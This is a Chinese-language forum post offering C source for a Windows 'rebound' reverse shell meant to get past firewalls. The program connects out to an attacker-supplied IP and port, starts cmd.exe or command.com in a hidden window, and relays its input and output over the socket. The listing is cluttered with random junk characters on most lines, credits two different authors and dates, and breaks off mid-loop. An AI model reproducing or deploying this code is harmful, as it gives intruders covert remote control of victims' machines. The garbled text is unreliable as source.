这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 )9s[-W,e
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/* ============================== ]'{<O3:7
Rebound port in Windows NT EG,RlmcPp
By wind,2006/7 +]G;_/[2
===============================*/ ?(Nls.c
#include Xh5
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#include &W1c#]q@r
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#pragma comment(lib,"wsock32.lib") r!+)U#8
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void OutputShell(); cYK3>p
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SOCKET sClient; 5bk5EE`
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; x@yF|8
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void main(int argc,char **argv) uXXwMc<p
{ |,o!O39}>
WSADATA stWsaData; c}QjKJ-c
int nRet; rxO|k0x^C
SOCKADDR_IN stSaiClient,stSaiServer; BQsy)H`4E
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if(argc != 3) :2La,
{ I_Q '+d
printf("Useage:\n\rRebound DestIP DestPort\n"); Jf2
return; 6 LC*X
} I%|W
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WSAStartup(MAKEWORD(2,2),&stWsaData); pl5!Ih6
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |VIBSty2d
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stSaiClient.sin_family = AF_INET; )tB mSVprl
stSaiClient.sin_port = htons(0); LbnR=B!
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;L|%H/SH
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) oE}1D?3Sp
{ E}UlQq
printf("Bind Socket Failed!\n"); H13|bM<
return; dAR):ZKq?
} [E+#+-n7
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stSaiServer.sin_family = AF_INET; H'GyWG|Wx
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ]w({5i
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); c8A
//
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) v*kTTaU&
{ .Um.dXBYU
printf("Connect Error!"); lCDXFy(E
return; SBs_rhe
} k? X7h2
OutputShell(); Iq MXd K|
} |oa9 g2
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void OutputShell() a8''t_Dp
{ zxY
char szBuff[1024]; 5P [b/.n
SECURITY_ATTRIBUTES stSecurityAttributes; J"# o #~
OSVERSIONINFO stOsversionInfo; 4$C:r&K
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [;%qxAB/_
STARTUPINFO stStartupInfo; d
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char *szShell; F.zn:y X5
PROCESS_INFORMATION stProcessInformation; YQLp#
unsigned long lBytesRead; 6p])2]N>p
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); C[gy{40}
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1jO}{U
stSecurityAttributes.lpSecurityDescriptor = 0; P
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stSecurityAttributes.bInheritHandle = TRUE; lOYzo
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \hoYQK j
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); C;QIp6"1
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); eJlTCXeZ|
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8K=sx@l
stStartupInfo.wShowWindow = SW_HIDE; Yjx*hv&?
stStartupInfo.hStdInput = hReadPipe; *DcJ).
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; XDRw![H,~
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GetVersionEx(&stOsversionInfo); B_$hi=?TTd
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switch(stOsversionInfo.dwPlatformId) PRa#;Wb
{ !lpKZG
case 1: * EY^t=
szShell = "command.com"; )2~Iqzc4
break; R9%Um6
default: lu2"?y[2
szShell = "cmd.exe"; QpbyC_:;$4
break; XR3=Y0YDf
} D',[M)
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); h2<Y*j
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send(sClient,szMsg,77,0); *uoc;6
while(1) x=s=~cu4,
{ OFH!z{*
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); pu3ly&T#a_
if(lBytesRead) SFP%UfM<